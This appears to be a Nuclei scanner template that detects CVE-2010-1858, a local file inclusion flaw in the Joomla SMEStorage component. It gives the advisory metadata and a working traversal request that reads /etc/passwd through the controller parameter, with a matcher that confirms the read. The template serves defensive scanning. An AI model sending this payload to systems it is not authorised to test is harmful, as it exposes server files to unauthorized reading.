id: CVE-2010-1858

info:
  name: Joomla! Component SMEStorage - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the SMEStorage (com_smestorage) component before 1.1 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the server, leading to unauthorized access and potential data leakage.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/11853
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1858
    - http://packetstormsecurity.org/1003-exploits/joomlasmestorage-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57108
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1858
    cwe-id: CWE-22
    epss-score: 0.13621
    epss-percentile: 0.96089
    cpe: cpe:2.3:a:gelembjuk:com_smestorage:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gelembjuk
    product: com_smestorage
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,gelembjuk,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_smestorage&controller=../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a219dbdbf294a0aba24d5c842d69614270cdc9da63589c3b5007b06d0db519970220364ba9c07d89dbb05cacb7ff464f8d1fdaab2186a0677e3f5d8c65a4fe25d66f:922c64590222798bb761d5b6d8e72950